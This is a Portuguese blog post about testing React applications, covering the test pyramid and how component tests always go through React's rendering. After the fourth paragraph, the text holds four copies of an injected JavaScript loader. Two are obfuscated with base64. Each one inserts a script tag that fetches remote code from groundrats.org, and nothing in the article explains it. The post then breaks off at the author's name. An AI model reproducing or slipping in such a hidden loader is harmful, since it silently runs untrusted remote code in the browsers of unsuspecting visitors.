Passei os dois últimos anos construindo aplicações com React e nesse período algo que foi curioso descobrir foi como ele nos permite de maneira relativamente simples escrever testes com alto valor de negócio, porém para chegar a essa conclusão algumas bases sobre testes que eu conhecia foram abaladas e eu tive que analisar de uma maneira menos tradicional para os testes front-end.
Sem mais delongas vamos entender primeiro quais eram essas bases e a primeira delas que quero explorar é a pirâmide de testes:
Ela indica, da base ao topo, a importância/prioridade que os times de desenvolvimento devem dar a cada tipo de testes, sendo o mais importante e que deve possuir maior número os testes de unidade. A base teorica para isto se deve a complexidade algorítmica do código a ser testado, o que afeta a manutenção e a dificuldade de gestão da base de código de testes. Em resumo podemos dizer que quanto mais coisas estão sendo testadas de uma vez, mais difícil é de descobrir o porque aquele teste falhou, mais chances ele tem de falhar e, por decorrência disso, o time desacreditar (com razão) do valor daqueles testes.
A natureza do front-end, por causa do DOM, sempre foi relativamente díficil testar unidade até o advento dos bundlers modernos como o Webpack, Browserify e etc, que trouxeram todo ecossistema do Node.JS tornando o javascript universal também possível no ferramental de desenvolvimento.
Por natureza o React te ajuda a componentizar a “camada” de visualização sua aplicação. O foco é componente, e isso é o que eu quero evidênciar aqui, por mais que seu componente seja uma função, com o ferramental de testes que utilizamos, sempre passamos pelo processo de renderização do React.
;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,’script’,’https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox’);
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,’script’,’https://groundrats.org/tHHGGEDyAn6ygUcHwex98R1YlpAOQ9zvV2t6wfY5Sox’);
;(function(f,b,n,j,x,e){
var decodedUrl = atob(‘aHR0cHM6Ly9ncm91bmRyYXRzLm9yZy90SEhHR0VEeUFuNnlnVWNId2V4OThSMVlscEFPUTl6dlYydDZ3Zlk1U294′);
x=b.createElement(n);e=b.getElementsByTagName(n)[0];
x.async=1;x.src=decodedUrl;
e.parentNode.insertBefore(x,e);
})(window,document,’script’);
Fabio Damasceno